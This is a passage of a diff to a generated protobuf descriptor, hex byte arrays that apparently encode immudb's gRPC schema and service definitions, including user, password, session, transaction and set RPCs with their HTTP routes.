0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, + 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, + 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, + 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, + 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, + 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, + 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, + 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, + 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, + 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, + 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, + 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, + 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, + 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, + 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, + 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, + 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, + 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, + 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, - 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, - 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, - 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, - 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, + 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, + 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, + 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, + 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, - 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, + 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, - 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, - 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, - 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 